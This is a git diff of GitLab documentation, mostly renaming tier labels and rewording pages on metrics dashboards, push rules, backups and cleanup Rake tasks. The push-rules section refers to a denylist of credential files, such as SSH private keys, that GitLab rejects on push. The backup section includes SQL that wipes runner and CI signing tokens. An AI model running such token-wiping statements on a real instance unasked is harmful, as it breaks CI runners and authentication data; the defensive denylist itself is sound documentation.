https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab-defined metrics dashboards **(CORE)** +# GitLab-defined metrics dashboards **(FREE)** GitLab provides some dashboards out-of-the-box for any project with [Prometheus available](../../../user/project/integrations/prometheus.md). You can diff --git a/doc/operations/metrics/dashboards/develop.md b/doc/operations/metrics/dashboards/develop.md index 800ed401efb..76ad609870c 100644 --- a/doc/operations/metrics/dashboards/develop.md +++ b/doc/operations/metrics/dashboards/develop.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Developing templates for custom dashboards **(CORE)** +# Developing templates for custom dashboards **(FREE)** GitLab provides a template to make it easier for you to create templates for [custom dashboards](index.md). Templates provide helpful guidance and @@ -27,7 +27,7 @@ Navigate to the browser-based editor of your choice: 1. Click **{doc-new}** **New file**, then click **Choose a template** to see a list of available templates:  -## Custom dashboard templates **(PREMIUM ONLY)** +## Custom dashboard templates **(PREMIUM SELF)** To enable and use a custom dashboard templates on your GitLab instance, read the [guide for creating custom templates](../../../user/admin_area/settings/instance_template_repository.md). diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index f875c4a87c5..a0ac4fe6226 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Custom dashboards **(CORE)** +# Custom dashboards **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/59974) in GitLab 12.1. @@ -94,7 +94,7 @@ with the **Add Panel** page: ## Duplicate a GitLab-defined dashboard > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/37238) in GitLab 12.7. -> - From [GitLab 12.8 onwards](https://gitlab.com/gitlab-org/gitlab/-/issues/39505), custom metrics are also duplicated when you duplicate a dashboard. +> - [GitLab versions 12.8 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/39505), custom metrics are also duplicated when you duplicate a dashboard. You can save a complete copy of a GitLab-defined dashboard along with all custom metrics added to it. The resulting `.yml` file can be customized and adapted to your project. @@ -128,7 +128,7 @@ any chart on a dashboard: The options are: - **Expand panel** - Displays a larger version of a visualization. To return to - the dashboard, click the **Back** button in your browser, or press the <kbd>Esc</kbd> key. + the dashboard, click the **Back** button in your browser, or press the <kbd>Escape</kbd> key. ([Introduced](https://gitlab.com/groups/gitlab-org/-/epics/3100) in GitLab 13.0.) - **View logs** **(ULTIMATE)** - Displays [Logs](../../../user/project/clusters/kubernetes_pod_logs.md), if they are enabled. If used in conjunction with the [timeline zoom](#timeline-zoom-and-url-sharing) @@ -147,7 +147,7 @@ The options are: You can use the **Timeline zoom** function at the bottom of a chart to zoom in on a date and time of your choice. When you click and drag the sliders to select a different beginning or end date of data to display, GitLab adds your selected start -and end times to the URL, enabling you to share specific timeframes more easily. +and end times to the URL, enabling you to share specific time frames more easily. ## Dashboard Annotations diff --git a/doc/operations/metrics/dashboards/panel_types.md b/doc/operations/metrics/dashboards/panel_types.md index 86f6776e273..4b942ffcf4f 100644 --- a/doc/operations/metrics/dashboards/panel_types.md +++ b/doc/operations/metrics/dashboards/panel_types.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Panel types for dashboards **(CORE)** +# Panel types for dashboards **(FREE)** The below panel types are supported in monitoring dashboards. diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md index 92f3a14aab9..18cfd6c53b8 100644 --- a/doc/operations/metrics/dashboards/settings.md +++ b/doc/operations/metrics/dashboards/settings.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Dashboard settings +# Dashboard settings **(FREE)** You can configure your [Monitoring dashboard](../index.md) to display the time zone of your choice, and the links of your choice. diff --git a/doc/operations/metrics/dashboards/templating_variables.md b/doc/operations/metrics/dashboards/templating_variables.md index db02cc3bf98..72541f7ced5 100644 --- a/doc/operations/metrics/dashboards/templating_variables.md +++ b/doc/operations/metrics/dashboards/templating_variables.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Templating variables for metrics dashboards **(CORE)** +# Templating variables for metrics dashboards **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214539) in GitLab 13.0. diff --git a/doc/operations/metrics/dashboards/variables.md b/doc/operations/metrics/dashboards/variables.md index 9c5ff3bd13b..c0d0f65cc65 100644 --- a/doc/operations/metrics/dashboards/variables.md +++ b/doc/operations/metrics/dashboards/variables.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Using variables **(CORE)** +# Using variables **(FREE)** ## Query variables diff --git a/doc/operations/metrics/dashboards/yaml.md b/doc/operations/metrics/dashboards/yaml.md index db49de7e800..138d9b28c76 100644 --- a/doc/operations/metrics/dashboards/yaml.md +++ b/doc/operations/metrics/dashboards/yaml.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Dashboard YAML properties **(CORE)** +# Dashboard YAML properties **(FREE)** Dashboards have several components: @@ -133,7 +133,7 @@ metrics: unit: 'count' ``` -This works by lowercasing the value of `label` and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value renders in the legend like this: +This works by converting the value of `label` to lower-case and, if there are more words separated by spaces, replacing those spaces with an underscore (`_`). The transformed value is then checked against the labels of the time series returned by the Prometheus query. If a time series label is found that is equal to the transformed value, then the label value renders in the legend like this:  diff --git a/doc/operations/metrics/dashboards/yaml_number_format.md b/doc/operations/metrics/dashboards/yaml_number_format.md index 27e4b905597..dd652a0cc2b 100644 --- a/doc/operations/metrics/dashboards/yaml_number_format.md +++ b/doc/operations/metrics/dashboards/yaml_number_format.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Unit formats reference **(CORE)** +# Unit formats reference **(FREE)** > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/201999) in GitLab 12.9. diff --git a/doc/operations/metrics/embed.md b/doc/operations/metrics/embed.md index 9a9a0b4cff2..e5ab391afe5 100644 --- a/doc/operations/metrics/embed.md +++ b/doc/operations/metrics/embed.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Embedding metric charts within GitLab-flavored Markdown **(CORE)** +# Embedding metric charts within GitLab-flavored Markdown **(FREE)** You can display metrics charts within [GitLab Flavored Markdown](../../user/markdown.md#gitlab-flavored-markdown-gfm) diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index 21950354ae9..f9db3750bb9 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Embedding Grafana charts **(CORE)** +# Embedding Grafana charts **(FREE)** Grafana metrics can be embedded in [GitLab Flavored Markdown](../../user/markdown.md). diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 7cd18e5606b..ca7bce347d3 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -4,7 +4,7 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Monitor your environment's metrics **(CORE)** +# Monitor your environment's metrics **(FREE)** GitLab helps your team monitor the health and performance of your applications and infrastructure by turning statistics and log files into charts and graphs @@ -131,8 +131,7 @@ dashboard is visible to authenticated and non-authenticated users. ## Adding custom metrics -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/3799) in [GitLab Premium](https://about.gitlab.com/pricing/) 10.6. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28527) to [GitLab Core](https://about.gitlab.com/pricing/) 12.10. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28527) to GitLab Free in 12.10. Custom metrics can be monitored by adding them on the monitoring dashboard page. After saving them, they display on the environment metrics dashboard provided that either: diff --git a/doc/operations/moving_repositories.md b/doc/operations/moving_repositories.md deleted file mode 100644 index 07df1607d37..00000000000 --- a/doc/operations/moving_repositories.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/operations/moving_repositories.md' ---- - -This document was moved to [another location](../administration/operations/moving_repositories.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md index e6e887b9738..db6dc13607b 100644 --- a/doc/operations/product_analytics.md +++ b/doc/operations/product_analytics.md @@ -1,10 +1,10 @@ --- stage: Growth -group: Product Analytics +group: Product Intelligence info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Product Analytics **(CORE)** +# Product Analytics **(FREE)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/225167) in GitLab 13.3. > - It's deployed behind a feature flag, disabled by default. diff --git a/doc/operations/sidekiq_memory_killer.md b/doc/operations/sidekiq_memory_killer.md deleted file mode 100644 index b98e4abb4d0..00000000000 --- a/doc/operations/sidekiq_memory_killer.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/operations/sidekiq_memory_killer.md' ---- - -This document was moved to [another location](../administration/operations/sidekiq_memory_killer.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md index c08651560e0..a4aae05c46d 100644 --- a/doc/operations/tracing.md +++ b/doc/operations/tracing.md @@ -4,10 +4,10 @@ group: Health info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Tracing +# Tracing **(FREE)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7903) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 11.5. -> - [Moved to GitLab Core](https://gitlab.com/gitlab-org/gitlab/-/issues/42645) in 13.5. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/7903) in GitLab Ultimate 11.5. +> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/42645) to GitLab Free in 13.5. Tracing provides insight into the performance and health of a deployed application, tracking each function or microservice which handles a given request. diff --git a/doc/operations/unicorn.md b/doc/operations/unicorn.md deleted file mode 100644 index d10b7f8bbb9..00000000000 --- a/doc/operations/unicorn.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/operations/unicorn.md' ---- - -This document was moved to [another location](../administration/operations/unicorn.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/permissions/permissions.md b/doc/permissions/permissions.md deleted file mode 100644 index 38b68ff9e42..00000000000 --- a/doc/permissions/permissions.md +++ /dev/null @@ -1,10 +0,0 @@ ---- -redirect_to: '../user/permissions.md' ---- - -# Permissions - -This document was moved to [user/permissions.md](../user/permissions.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md index e097d2c24a8..0df0ef06d19 100644 --- a/doc/policy/maintenance.md +++ b/doc/policy/maintenance.md @@ -74,7 +74,7 @@ A step-by-step guide to [upgrading the Omnibus-bundled PostgreSQL is documented ## Upgrading major versions -Backward-incompatible changes and migrations are reserved for major versions. See the [upgrade guide](../update/README.md#upgrading-to-a-new-major-version). +Backward-incompatible changes and migrations are reserved for major versions. See the [upgrade guide](../update/index.md#upgrading-to-a-new-major-version). ## Patch releases diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md index 4f902382fd5..9be76416ba7 100644 --- a/doc/push_rules/push_rules.md +++ b/doc/push_rules/push_rules.md @@ -5,21 +5,21 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Push Rules **(STARTER)** +# Push Rules **(PREMIUM)** Gain additional control over what can and can't be pushed to your repository by using regular expressions to reject pushes based on commit contents, branch names or file details. -## Overview - GitLab already offers [protected branches](../user/project/protected_branches.md), but there are -cases when you need some specific rules like preventing Git tag removal or +cases when you need some specific rules. Some common scenarios: preventing Git tag removal, or enforcing a special format for commit messages. -Push rules are essentially [pre-receive Git hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) that are easy to -enable in a user-friendly interface. They are defined globally if you are an -admin or per project so you can have different rules applied to different -projects depending on your needs. +Push rules are [pre-receive Git hooks](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) you +can enable in a user-friendly interface. They are defined either: + +- Globally if you are an administrator. +- Per project, so you can have different rules applied to different + projects depending on your needs. ## Use cases @@ -32,24 +32,24 @@ Let's assume you have the following requirements for your workflow: - every commit should reference a Jira issue, for example: `Refactored css. Fixes JIRA-123.` - users should not be able to remove Git tags with `git push` -All you need to do is write a simple regular expression that requires the mention +Write a regular expression that requires the mention of a Jira issue in the commit message, like `JIRA\-\d+`. -Now when a user tries to push a commit with a message `Bugfix`, their push will -be declined. Only pushing commits with messages like `Bugfix according to JIRA-123` -will be accepted. +Now when a user tries to push a commit with a message `Bugfix`, their push is +declined. Only pushing commits with messages like `Bugfix according to JIRA-123` +is accepted. ### Restrict branch names -Let's assume there's a strict policy for branch names in your company, and -you want the branches to start with a certain name because you have different -GitLab CI/CD jobs (`feature`, `hotfix`, `docker`, `android`, etc.) that rely on the +If your company has a strict policy for branch names, you may want the branches to start +with a certain name. This approach enables different +GitLab CI/CD jobs (such as `feature`, `hotfix`, `docker`, `android`) that rely on the branch name. -Your developers, however, don't always remember that policy, so they might push to +Your developers may not remember that policy, so they might push to various branches, and CI pipelines might not work as expected. By restricting the branch names globally in Push Rules, such mistakes are prevented. -Any branch name that doesn't match your push rule will get rejected. +Any branch name that doesn't match your push rule is rejected. Note that the name of your default branch is always allowed, regardless of the branch naming regular expression (regex) specified. GitLab is configured this way @@ -64,9 +64,9 @@ which already limits users from pushing directly. > Introduced in GitLab 12.10. By default, GitLab restricts certain formats of branch names for security purposes. -Currently 40-character hexadecimal names, similar to Git commit hashes, are prohibited. +40-character hexadecimal names, similar to Git commit hashes, are prohibited. -### Custom Push Rules **(CORE ONLY)** +### Custom Push Rules **(FREE SELF)** It's possible to create custom push rules rather than the push rules available in **Admin Area > Push Rules** by using more advanced server hooks. @@ -77,10 +77,10 @@ See [server hooks](../administration/server_hooks.md) for more information. NOTE: GitLab administrators can set push rules globally under -**Admin Area > Push Rules** that all new projects will inherit. You can later +**Admin Area > Push Rules** that all new projects inherit. You can later override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules). -1. Navigate to your project's **Settings > Repository** and expand **Push Rules** +1. Navigate to your project's **Settings > Repository** and expand **Push rules** 1. Set the rule you want 1. Click **Save Push Rules** for the changes to take effect @@ -88,13 +88,13 @@ The following options are available: | Push rule | Description | |---------------------------------|-------------| -| Removal of tags with `git push` | Forbid users to remove Git tags with `git push`. Tags will still be able to be deleted through the web UI. | -| Check whether author is a GitLab user | Restrict commits by author (email) to existing GitLab users. | -| Committer restriction **(PREMIUM)** | GitLab will reject any commit that was not committed by the current authenticated user. | +| Removal of tags with `git push` | Forbid users to remove Git tags with `git push`. Tags can be deleted through the web UI. | +| Check whether the commit author is a GitLab user | Restrict commits to existing GitLab users (checked against their emails). | +| Reject unverified users **(PREMIUM)** | GitLab rejects any commit that was not committed by an authenticated user. | | Check whether commit is signed through GPG **(PREMIUM)** | Reject commit when it is not signed through GPG. Read [signing commits with GPG](../user/project/repository/gpg_signed_commits/index.md). | -| Prevent committing secrets to Git | GitLab will reject any files that are likely to contain secrets. Read [what files are forbidden](#prevent-pushing-secrets-to-the-repository). | -| Restrict by commit message | Only commit messages that match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. | -| Restrict by commit message (negative match) | Only commit messages that do not match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. | +| Prevent pushing secret files | GitLab rejects any files that are likely to contain secrets. See the [forbidden file names](#prevent-pushing-secrets-to-the-repository). | +| Require expression in commit messages | Only commit messages that match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. | +| Reject expression in commit messages | Only commit messages that do not match this regular expression are allowed to be pushed. Leave empty to allow any commit message. Uses multiline mode, which can be disabled using `(?-m)`. | | Restrict by branch name | Only branch names that match this regular expression are allowed to be pushed. Leave empty to allow any branch name. | | Restrict by commit author's email | Only commit author's email that match this regular expression are allowed to be pushed. Leave empty to allow any email. | | Prohibited file names | Any committed filenames that match this regular expression and do not already exist in the repository are not allowed to be pushed. Leave empty to allow any filenames. See [common examples](#prohibited-file-names). | @@ -105,11 +105,12 @@ GitLab uses [RE2 syntax](https://github.com/google/re2/wiki/Syntax) for regular ## Prevent pushing secrets to the repository -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.12. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/385) in GitLab 8.12. +> - Moved to GitLab Premium in 13.9. Secrets such as credential files, SSH private keys, and other files containing secrets should never be committed to source control. -GitLab allows you to turn on a predefined denylist of files which won't be allowed to be -pushed to a repository, stopping those commits from reaching the remote repository. +GitLab enables you to turn on a predefined denylist of files which can't be +pushed to a repository. The list stops those commits from reaching the remote repository. By selecting the checkbox *Prevent committing secrets to Git*, GitLab prevents pushes to the repository when a file matches a regular expression as read from @@ -117,9 +118,9 @@ pushes to the repository when a file matches a regular expression as read from as your GitLab version when viewing this file). NOTE: -Files already committed won't get restricted by this push rule. +Files already committed aren't restricted by this push rule. -Below is an example list of what will be rejected by these regular expressions: +Below is an example list of what GitLab rejects with these regular expressions: ```shell ##################### @@ -180,7 +181,8 @@ id_ecdsa ## Prohibited file names -> Introduced in [GitLab Starter](https://about.gitlab.com/pricing/) 7.10. +> - Introduced in GitLab 7.10. +> - Moved to GitLab Premium in 13.9. Each filename contained in a Git push is compared to the regular expression in this field. Filenames in Git consist of both the file's name and any directory that may precede it. A singular regular expression can contain multiple independent matches used as exclusions. File names can be broadly matched to any location in the repository, or restricted to specific locations. Filenames can also be partial matches used to exclude file types by extension. @@ -204,13 +206,17 @@ Example: prevent a specific configuration file in a known directory from being p ^directory-name\/config\.yml$ ``` -Example: prevent the specific file named `install.exe` from being pushed to any location in the repository. Note that the parenthesized expression `(^|\/)` will match either a file following a directory separator or a file in the root directory of the repository: +Example: prevent the specific file named `install.exe` from being pushed to any +location in the repository. The parenthesized expression `(^|\/)` matches either +a file following a directory separator or a file in the root directory of the repository: ```plaintext (^|\/)install\.exe$ ``` -Example: combining all of the above in a single expression. Note that all of the preceding expressions rely on the end of string character `$`, so we can move that part of each expression to the end of the grouped collection of match conditions where it will be appended to all matches: +Example: combining all of the above in a single expression. The preceding expressions rely +on the end-of-string character `$`. We can move that part of each expression to the +end of the grouped collection of match conditions where it is appended to all matches: ```plaintext (\.exe|^config\.yml|^directory-name\/config\.yml|(^|\/)install\.exe)$ diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md index e119563fd25..c815842480c 100644 --- a/doc/raketasks/README.md +++ b/doc/raketasks/README.md @@ -1,48 +1,8 @@ --- -stage: none -group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments -comments: false +redirect_to: 'index.md' --- -# Rake tasks **(CORE ONLY)** +This document was moved to [another location](index.md). -GitLab provides [Rake](https://ruby.github.io/rake/) tasks for common administration and operational processes. - -GitLab Rake tasks are performed using: - -- `gitlab-rake <raketask>` for [Omnibus GitLab](https://docs.gitlab.com/omnibus/README.html) installations. -- `bundle exec rake <raketask>` for [source](../install/installation.md) installations. - -## Available Rake tasks - -The following are available Rake tasks: - -| Tasks | Description | -|:----------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------| -| [Back up and restore](backup_restore.md) | Back up, restore, and migrate GitLab instances between servers. | -| [Clean up](cleanup.md) | Clean up unneeded items from GitLab instances. | -| [Development](../development/rake_tasks.md) | Tasks for GitLab contributors. | -| [Doctor tasks](../administration/raketasks/doctor.md) | Checks for data integrity issues. | -| [Elasticsearch](../integration/elasticsearch.md#gitlab-advanced-search-rake-tasks) **(STARTER ONLY)** | Maintain Elasticsearch in a GitLab instance. | -| [Enable namespaces](features.md) | Enable usernames and namespaces for user projects. | -| [General maintenance](../administration/raketasks/maintenance.md) | General maintenance and self-check tasks. | -| [Geo maintenance](../administration/raketasks/geo.md) **(PREMIUM ONLY)** | [Geo](../administration/geo/index.md)-related maintenance. | -| [GitHub import](../administration/raketasks/github_import.md) | Retrieve and import repositories from GitHub. | -| [Import repositories](import.md) | Import bare repositories into your GitLab instance. | -| [Import large project exports](../development/import_project.md#importing-via-a-rake-task) | Import large GitLab [project exports](../user/project/settings/import_export.md). | -| [Integrity checks](../administration/raketasks/check.md) | Check the integrity of repositories, files, and LDAP. | -| [LDAP maintenance](../administration/raketasks/ldap.md) | [LDAP](../administration/auth/ldap/index.md)-related tasks. | -| [List repositories](list_repos.md) | List of all GitLab-managed Git repositories on disk. | -| [Migrate Snippets to Git](migrate_snippets.md) | Migrate GitLab Snippets to Git repositories and show migration status | -| [Praefect Rake tasks](../administration/raketasks/praefect.md) | [Praefect](../administration/gitaly/praefect.md)-related tasks. | -| [Project import/export](../administration/raketasks/project_import_export.md) | Prepare for [project exports and imports](../user/project/settings/import_export.md). | -| [Sample Prometheus data](generate_sample_prometheus_data.md) | Generate sample Prometheus data. | -| [SPDX license list import](spdx.md) **(PREMIUM ONLY)** | Import a local copy of the [SPDX license list](https://spdx.org/licenses/) for matching [License Compliance policies](../user/compliance/license_compliance/index.md).| | -| [Repository storage](../administration/raketasks/storage.md) | List and migrate existing projects and attachments from legacy storage to hashed storage. | -| [Uploads migrate](../administration/raketasks/uploads/migrate.md) | Migrate uploads between storage local and object storage. | -| [Uploads sanitize](../administration/raketasks/uploads/sanitize.md) | Remove EXIF data from images uploaded to earlier versions of GitLab. | -| [Usage data](../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping) | Generate and troubleshoot [Usage Ping](../development/usage_ping.md).| -| [User management](user_management.md) | Perform user management tasks. | -| [Webhooks administration](web_hooks.md) | Maintain project Webhooks. | -| [X.509 signatures](x509_signatures.md) | Update X.509 commit signatures, useful if certificate store has changed. | +<!-- This redirect file can be deleted after 2021-05-11. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index 8a01975f771..20131a795c5 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Back up and restore GitLab **(CORE ONLY)** +# Back up and restore GitLab **(FREE SELF)** GitLab provides Rake tasks for backing up and restoring GitLab instances. @@ -16,7 +16,7 @@ of GitLab on which it was created. The best way to migrate your repositories from one server to another is through backup restore. WARNING: -GitLab doesn't back up items that aren't stored in the filesystem. If you're +GitLab doesn't back up items that aren't stored in the file system. If you're using [object storage](../administration/object_storage.md), be sure to enable backups with your object storage provider, if desired. @@ -100,7 +100,7 @@ the host, based on your installed version of GitLab: - GitLab 12.1 and earlier: ```shell - gitlab-rake gitlab:backup:create + docker exec -t <container name> gitlab-rake gitlab:backup:create ``` If you're using the [GitLab Helm chart](https://gitlab.com/gitlab-org/charts/gitlab) @@ -240,7 +240,7 @@ The resulting file is named `dump_gitlab_backup.tar`. This is useful for systems that make use of rsync and incremental backups, and results in considerably faster transfer speeds. -#### Rsyncable +#### Confirm archive can be transferred To ensure the generated archive is transferable by rsync, you can set the `GZIP_RSYNCABLE=yes` option. This sets the `--rsyncable` option to `gzip`, which is useful only in @@ -810,7 +810,7 @@ data into (`gitlabhq_production`). All existing data is either erased To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json` (for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from source). This file contains the database encryption key, -[CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and +[CI/CD variables](../ci/variables/README.md), and variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md). If you fail to restore this encryption key file along with the application data backup, users with two-factor authentication enabled and GitLab Runner @@ -1024,7 +1024,7 @@ restoring a single project or group, you can use a workaround by restoring your backup to a separate, temporary GitLab instance, and then export your project or group from there: -1. [Install a new GitLab](../install/README.md) instance at the same version as +1. [Install a new GitLab](../install/index.md) instance at the same version as the backed-up instance from which you want to restore. 1. [Restore the backup](#restore-gitlab) into this new instance, then export your [project](../user/project/settings/import_export.md) @@ -1042,12 +1042,12 @@ is being discussed in [issue #17517](https://gitlab.com/gitlab-org/gitlab/-/issu If your GitLab server contains a lot of Git repository data, you may find the GitLab backup script to be too slow. In this case you can consider using -filesystem snapshots as part of your backup strategy. +file system snapshots as part of your backup strategy. Example: Amazon EBS > A GitLab server using Omnibus GitLab hosted on Amazon AWS. -> An EBS drive containing an ext4 filesystem is mounted at `/var/opt/gitlab`. +> An EBS drive containing an ext4 file system is mounted at `/var/opt/gitlab`. > In this case you could make an application backup by taking an EBS snapshot. > The backup includes all repositories, uploads and PostgreSQL data. @@ -1055,7 +1055,7 @@ Example: LVM snapshots + rsync > A GitLab server using Omnibus GitLab, with an LVM logical volume mounted at `/var/opt/gitlab`. > Replicating the `/var/opt/gitlab` directory using rsync would not be reliable because too many files would change while rsync is running. -> Instead of rsync-ing `/var/opt/gitlab`, we create a temporary LVM snapshot, which we mount as a read-only filesystem at `/mnt/gitlab_backup`. +> Instead of rsync-ing `/var/opt/gitlab`, we create a temporary LVM snapshot, which we mount as a read-only file system at `/mnt/gitlab_backup`. > Now we can have a longer running rsync job which creates a consistent replica on the remote server. > The replica includes all repositories, uploads and PostgreSQL data. @@ -1204,9 +1204,9 @@ and the jobs begin running again. Use the information in the following sections at your own risk. -#### Check for undecryptable values +#### Verify that all values can be decrypted -You can determine if you have undecryptable values in the database by using the +You can determine if your database contains values that can't be decrypted by using the [Secrets Doctor Rake task](../administration/raketasks/doctor.md). #### Take a backup @@ -1285,6 +1285,7 @@ You may need to reconfigure or restart GitLab for the changes to take effect. UPDATE namespaces SET runners_token = null, runners_token_encrypted = null; -- Clear instance tokens UPDATE application_settings SET runners_registration_token_encrypted = null; + UPDATE application_settings SET encrypted_ci_jwt_signing_key = null; -- Clear runner tokens UPDATE ci_runners SET token = null, token_encrypted = null; ``` @@ -1370,7 +1371,7 @@ To get your registry working again: sudo chown -R registry:registry /var/opt/gitlab/gitlab-rails/shared/registry/docker ``` -If you changed the default filesystem location for the registry, run `chown` +If you changed the default file system location for the registry, run `chown` against your custom location, instead of `/var/opt/gitlab/gitlab-rails/shared/registry/docker`. ### Backup fails to complete with Gzip error diff --git a/doc/raketasks/check.md b/doc/raketasks/check.md deleted file mode 100644 index 1a8149ca04a..00000000000 --- a/doc/raketasks/check.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../administration/raketasks/check.md' ---- - -This document was moved to [another location](../administration/raketasks/check.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/raketasks/cleanup.md b/doc/raketasks/cleanup.md index 0c184aa0075..9f79d3cc675 100644 --- a/doc/raketasks/cleanup.md +++ b/doc/raketasks/cleanup.md @@ -1,10 +1,10 @@ --- -stage: none -group: unassigned +stage: Enablement +group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Clean up **(CORE ONLY)** +# Clean up **(FREE SELF)** GitLab provides Rake tasks for cleaning up GitLab instances. @@ -74,7 +74,7 @@ I, [2020-01-08T20:51:17.148765 #43765] INFO -- : Removed unreferenced LFS files Clean up project upload files if they don't exist in GitLab database. -### Clean up project upload files from filesystem +### Clean up project upload files from file system > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/20863) in GitLab 11.2. @@ -173,7 +173,7 @@ delete the files: sudo gitlab-rake gitlab:cleanup:orphan_job_artifact_files DRY_RUN=false ``` -You can also limit the number of files to delete with 